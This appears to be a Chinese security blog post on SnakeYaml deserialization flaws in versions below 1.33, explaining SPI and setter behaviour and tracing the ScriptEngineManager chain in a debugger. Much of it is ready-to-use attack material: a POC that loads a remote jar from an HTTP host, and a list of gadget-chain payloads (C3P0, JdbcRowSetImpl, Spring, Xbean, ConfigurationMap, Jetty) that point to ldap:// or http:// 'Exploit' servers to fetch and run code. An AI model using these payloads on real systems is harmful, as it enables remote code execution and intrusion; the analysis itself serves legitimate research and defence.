前言

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。

环境搭建

<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.32</version>
</dependency>

SPI机制

介绍

SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

例子

准备一个接口

package com.ctf.Impl;

public interface Shopping {
String buyMask();
}

准备两个实现类

package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyN95 implements Shopping {
@Override
public String buyMask() {
return "Buy N95";
}
}
package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyNormal implements Shopping {
@Override
public String buyMask() {
return "Buy Normal";
}
}

在resources目录下新建目录META-INF/services,在services目录下建一个配置文件,配置文件名为接口类的路径+名称,比如我的就是com.ctf.Impl.Shopping,写入两个实现类路径



然后把项目打包成jar包,File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies,记得选择把META-INF添加,Build Artifacts



out目录下有jar包,这时新建一个项目,把生成的jar包作为依赖导入



我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar,然后下面写入的测试代码,就是服务端的代码,服务端引入了jar包和其中的META-INF/services下的配置文件,通过ServiceLoader.load执行了相关操作。

Setter

准备一个POJO

package com.ctf.POJO;

public class User {

    String name;
int age; public User() {
System.out.println("User构造函数");
} public String getName() {
System.out.println("User.getName");
return name;
} public void setName(String name) {
System.out.println("User.setName");
this.name = name;
} public int getAge() {
System.out.println("User.getAge");
return age;
} public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}

序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml; public class SetterPoc {
public static void main(String[] args) {
User user = new User();
user.setName("F12");
user.setAge(20);
String str = serialize(user);
System.out.println(str);
}
public static String serialize(Object obj){
Yaml yaml = new Yaml();
return yaml.dump(obj);
}
public static String unserialize(String str){
Yaml yaml = new Yaml();
return yaml.load(str);
}
}

getter和setter都调用了

反序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml; public class SetterPoc {
public static void main(String[] args) {
User user = new User();
user.setName("F12");
user.setAge(20);
// String str = serialize(user);
// System.out.println(str);
unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
}
public static String serialize(Object obj){
Yaml yaml = new Yaml();
return yaml.dump(obj);
}
public static String unserialize(String str){
Yaml yaml = new Yaml();
return yaml.load(str);
}
}

只调用了setter

SnakeYaml反序列化漏洞

影响版本:1.33以下的全版本

攻击测试

github有个写好的SPI:https://github.com/artsploit/yaml-payload/tree/master,打包成jar包就行

package com.ctf;

import org.yaml.snakeyaml.Yaml;

public class POC {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

流程分析

load处打断点,跟进



跟进loadFromReader



跟进getSingleData



这里对tag进行了修改,变为一种yaml规范的格式,这个是个重点,先记住,跟进constructDocument方法





跟进constructObject方法



跟进check



可以看出是要准备实例化了,进入constructor.construct



继续跟进construct,代码有点多,看重点代码

for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}

这里value有一个嵌套,他会一层层的往里去实例化,最后分别作为各自的参数,比如UrlClassLoader是ScriptEngine的参数,Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的



最后会实例化



因为有个迭代,迭代完才能到这里实例化,所以我们直接在ScriptEngineManage的实例化方法给断点



跟进init方法



跟进initEngines方法



这里调用ServiceLoader



这里就会去加载用户自定义的实现类,也就会触发我们写的恶意类

男男搭配,干活不累

干活不累,但是调试很累,所以师傅们自己调试吧,就不写上面了

SnakeYaml+C3P0

之前研究过C3P0,有两条链,不出网的是HEX,出网的是JNDI,放payload

JNDI(对应setJndiName)

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://localhost:1099/Exploit"
loginTimeout: 0

HEX(对应实例化方法)

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"

SnakeYaml+JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true

SnakeYaml+PropertyPathFactoryBean

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://localhost:1389/Exploit"
propertyPath: mi1k7ea
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]

调用栈

lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

SnakeYaml+DefaultBeanFactoryPointcutAdvisor

!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]

SnakeYaml+Xbean

!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

这个使用BadAttibute的构造方法触发Xbean的toString

SnakeYaml+ConfigurationMap

!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]

调用栈:

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)

SnakeYaml+Jetty

[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

SnakeYaml反序列化分析的更多相关文章

  1. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  2. fastjson及其反序列化分析--TemplatesImpl

    fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...

  3. [JavaWeb]反序列化分析(二)--CommonCollections1

    反序列化分析(二)--CommonCollections1 链子分析 首先新建一个TransformedMap,其中二三参数为可控,后续要用到 当TransformedMap执行put方法时,会分别执 ...

  4. javasec(五)URLDNS反序列化分析

    这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...

  5. weblogic之CVE-2016-0638反序列化分析

    此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上 weblogic.rjvm.InboundMsgAbbrev.class :: Serv ...

  6. shiro<1.2.4反序列化分析

    0x01.环境搭建 下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 环境:Tomcat 8.5.27 + idea ...

  7. shiro550反序列化分析

    拖了很久的shiro分析 漏洞概述 Apache Shiro <= 1.2.4 版本中,加密的用户信息序列化后存储在Cookie的rememberMe字段中,攻击者可以使用Shiro的AES加密 ...

  8. weblogic之CVE-2016-3510反序列化分析

    将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对MarshalledObject进行序列化,生成payload字节码.由于Marshalle ...

  9. PHP反序列化总结

    之前遇到过很多次php反序列化相关的内容,总结一下. (反)序列化给我们传递对象提供了一种简单的方法.serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象 ...

  10. URLDNS分析

    学习了很久的Java基础,也看了很多的Java反序列化分析,现在也来分析学习哈最基础的URLDNS反序列化吧. Java反序列化基础 为了方便数据的存储,于是乎有了现在的Java序列化于反序列化.序列 ...

随机推荐

  1. vscode 注释后 光标下移(注释后光标快速定位下一行) 仿照idea

    VSCode 注释后光标快速定位下一行 1. 安装插件 Multi-command Multi-command 2.打开 Keybinding.json Keybinding.json 左下角齿轮图标 ...

  2. [VueJsDev] 快速入门 - vscode 插件推荐

    [VueJsDev] 目录列表 https://www.cnblogs.com/pengchenggang/p/17037320.html Vscode 插件推荐 ::: details 目录 目录 ...

  3. stm32 fatfs 文件系统分析和代码解析

    一 文件系统: 文件系统是操作系统用于明确存储设备(常见的是磁盘,也有基于NAND Flash的固态硬盘)或分区上的文件的方法和数据结构:即在存储设备上组织文件的方法.操作系统中负责管理和存储文件信息 ...

  4. 单麦克风AI降噪模块及解决方案

    前记   随着以AI为核心的智能设备的广泛发展,语音这个非常重要的入口一直是很多厂商争夺的市场.作为音频采集的前端设备,能采集到的距离远,清晰度高,无噪声的信号是一个非常重要的能力.这样就对音频前端降 ...

  5. 从一线方案商的角度来看高通QCC3020芯片

    写在前面的话   QCC3020的推出已经有一段时间了.在蓝牙音频的圈子里,属于家喻户晓的芯片了.再加上高通的大力宣传和一些顶尖级产品的使用,可以说,它是高通在吸收CSR的技术之后,着力推出的最具竞争 ...

  6. 谈谈Android中的消息提示那些坑

    Android中的消息提示无非就那几种,弹个窗(Toast或SnackBar),或者是弹出个对话框(Dialog),最近在使用的时候也是遇到了问题,有时候导致APP闪退 稍微研究会,总结了一下使用过程 ...

  7. day06-Java流程控制

    Java流程控制 1.用户交互Scanner java.util.Scanner是Java5的新特征,我们可以通过Scannner类来获取用户的输入. 基本语法: Scanner s = new Sc ...

  8. Performance Improvements in .NET 8 & 7 & 6 -- String【翻译】

    原文:https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-8/#strings-arrays-and-spans ...

  9. Redis安装(Linux CentOS)

    1. 环境介绍 主机系统:CentOS Redis版本:7.0.10 2. 安装过程 检查 GCC 版本 gcc -v redis 6.0 以上需要 gcc 5.3,升级 gcc.如果安装的redis ...

  10. Android 开发Day2

    我的是小刺猬版本,算是比较新的版本了,还有火烈鸟和蜻蜓版啥的 新建项目(project)点击加号新建就行了.这时我们会选择一个模板作为开发的辅助起点,看上哪个就选哪个就行了.推荐新手选空项目(Empt ...